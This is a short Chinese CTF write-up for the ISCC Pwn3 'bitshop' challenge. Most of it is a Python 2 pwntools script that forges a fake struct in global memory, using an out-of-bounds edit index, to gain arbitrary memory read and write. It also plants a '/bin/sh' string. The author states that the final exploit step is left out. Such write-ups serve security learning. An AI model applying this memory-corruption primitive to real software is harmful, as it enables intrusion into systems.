ISCC(ISCLab) Pwn3

前两天就写好了,整理了一下,现在发上来。没有写到exp那部分,只写了任意内存读写的module。

环境依旧是Python 2。

from pwn import *


class Shoper():
    def __init__(self, username="Test"):
        self.conn = process('./bitshop.exec')
        self.conn.recvuntil("name: ")
        self.conn.send("%s\n"%username)
        self.conn.recvuntil("Your choice $ ")

    def __del__(self):
        self.conn.close()

    def _add(self, length=30, comment='test', name='test'):
        self.conn.send('1\n')
        self.conn.recvuntil("comment length:")
        assert( type(length) == int )
        assert( length <= 1023 and length > 16 )
        self.conn.send( "%s\n" % str(length) )
        self.conn.recvuntil("Input comment:")
        assert( len(comment) < length )
        self.conn.send( "%s\n" % comment )
        self.conn.recvuntil("Input name:")
        assert( len(name) < 60 )
        self.conn.send( "%s\n" % name )
        self.conn.recvuntil("Your choice $ ")

    def _edit(self, cid = 0, comment='test', length=None ):
        if not length:
            length = len(comment)+1
        self.conn.send('2\n')
        self.conn.recvuntil("Input id :")
        assert( type(cid) == int )
        self.conn.send( "%s\n" % str(cid) )
        self.conn.recvuntil("Input new comment length :")
        assert( type(length) == int )
        assert( length <= 1023 and length > 16 )
        self.conn.send( "%s\n" % str(length) )
        self.conn.recvuntil("Input comment :")
        assert( len(comment) < length )
        self.conn.send( "%s" % comment )
        self.conn.recvuntil("Your choice $ ")

    def _free(self, cid = 0 ):
        self.conn.send('3\n')
        self.conn.recvuntil("Input id : ")
        assert( type(cid) == int)
        self.conn.send( "%s\n" % str(cid) )
        self.conn.recvuntil("Your choice $ ")

    def _shopnote(self):
        # Unused
        assert(0)

    def _cart(self):
        self.conn.send('5\n')
        #self.conn.recv()
        return self.conn.recvuntil("Your choice $ ")

    def pause(self):
        log.info("PID: %s" % (self.conn.proc.pid))
        raw_input()


# Arrange fake struct and its components
LEADER = 0x6020E0 + 0x8*3
BASE_OFFSET = 0x602140
# create the init string
FAKE_OFFSET = (LEADER - BASE_OFFSET)/8
target = Shoper( "AAAAAAAAbbbbbbbbCCCCCCCC%s"%p64(LEADER) )
# Write initalize component
PFAKE_STRUCT = LEADER+0x18
PFSTR_OFFSET = (LEADER+0x10 - BASE_OFFSET)/8
compchain = [
    p64(LEADER),            # LEADER+0x00, overwrite protect
    p64(LEADER+0x2c),       # LEADER+0x08, should be $item_count's address
    p64(PFAKE_STRUCT),      # LEADER+0x10, fake struct real address
    p64(LEADER),            # LEADER+0x18, WR_ADDR
    p32(0x200),             # LEADER+0x20, fake length
    "/bin/sh\0",            # LEADER+0x24, fake name
    p64(0x2),               # LEADER+0x2c
]
WRIDX=3
target._edit( cid = FAKE_OFFSET , comment = ''.join(compchain))
# recalculate offset
log.info("Finished load component. WRIDX=%s"%(WRIDX))

log.warning("Have a test of our component")
TEST_ADDR = 0x602090

log.info("Write test of %x"%TEST_ADDR)
#set address
compchain[WRIDX] = p64(TEST_ADDR)
target._edit( cid = FAKE_OFFSET , comment = ''.join(compchain))
#write data
target._edit( cid = PFSTR_OFFSET , comment = 3*("%s"%p64(0x233233233233233)))

log.info("Read test of %x"%TEST_ADDR)
# prepare to change item 0
compchain[WRIDX] = p64(BASE_OFFSET)
target._edit( cid = FAKE_OFFSET , comment = ''.join(compchain))
# modify item to fake struct
target._edit( cid = PFSTR_OFFSET , comment = 3*("%s"%p64(PFAKE_STRUCT)))
# set read address
compchain[WRIDX] = p64(TEST_ADDR)
target._edit( cid = FAKE_OFFSET , comment = ''.join(compchain))
# read from cart
context.log_level = 'debug'
target._cart()